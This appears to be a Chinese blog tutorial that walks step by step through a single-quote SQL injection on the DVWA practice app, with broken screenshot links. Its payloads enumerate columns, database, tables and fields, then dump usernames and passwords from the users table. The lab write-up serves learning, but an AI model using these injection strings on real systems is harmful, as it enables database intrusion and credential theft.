1、首先判断漏洞的类型
(1)在搜索框中输入1,发现存在回显,得知不是盲注
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gtuN3nrG-1639397966693)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213191602042.png)]](https://i-blog.csdnimg.cn/blog_migrate/0afe3bb94ae55df58c8905b15f76625c.png)
(2)分别输入1 and 1=1和1 and 1=2(嵌入sql语句),发现结果一致,得知不是整形注入
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KhirT4qR-1639397966693)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213191754918.png)]](https://i-blog.csdnimg.cn/blog_migrate/57864845cdea1305cb88c011eb9acd0d.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4NJU4AE2-1639397966695)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213191946637.png)]](https://i-blog.csdnimg.cn/blog_migrate/d35d1897c3cb97729f34bdbebdc9c769.png)
(3)输入1’,发现报错
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zTxEMAei-1639397966696)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213192755919.png)]](https://i-blog.csdnimg.cn/blog_migrate/ce131eba78ab1a81eda9a0dcdad7ecd4.png)
(4)检查是否是与单引号有关的字符型注入,分别输入1’ and ‘1’ ='1和1’ and ‘1’='2,发现第二个没有回显,得知是单引号字符型注入



(5)通过输入1' order by '数字' #爆字段数
注:#为注释符,可以把后面的语句给注释掉,也可以使用其它注释符代替,例如--+,但此处经过测试发现--+会被转译,导致不能使用
先后通过测试1和2都没有报错,当测试到3的时候报错了,说明字段数是2个
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KoFdqMKd-1639397966699)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213194510264.png)]](https://i-blog.csdnimg.cn/blog_migrate/80b36e06148b397521bc0a8b2d0b0d20.png)

(6)通过输入-1' union select 1,2 #判断回显位置

(7)通过输入-1' union select 1,database() #,得知数据库名字为dvwa
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AJI46c6J-1639397966700)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213195051834.png)]](https://i-blog.csdnimg.cn/blog_migrate/b923b6efaddbf3b789161baa2ffd61c4.png)
(8)通过输入-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #,得知存在两个表,且表名分别为guestbook和users,到此可知users中有我们需要的东西
(在数据库中存在一个默认数据库information_schema.tables里面存有其他数据库的信息)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-blWtkGUb-1639397966701)(C:\Users\84305\AppData\Roaming\Typora\typora-user-images\image-20211213200005265.png)]](https://i-blog.csdnimg.cn/blog_migrate/c7bf40dcc02590cc9bde49caccbded41.png)
(9)通过输入-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,得知字段名分别为user_id、first_name、last_name、user、password、avatar、id、username、password、id、uname、passwd

(10)通过输入-1' union select user,password from users limit 0,1 #,可以得知用户名和对应的密码,不过需要修改limit number,1中的number,逐一显示出来
本文通过具体步骤演示了如何发现并利用SQL注入漏洞,包括确定漏洞类型、获取数据库信息、读取表和字段名直至最终获取敏感数据。
976

被折叠的 条评论
为什么被折叠?



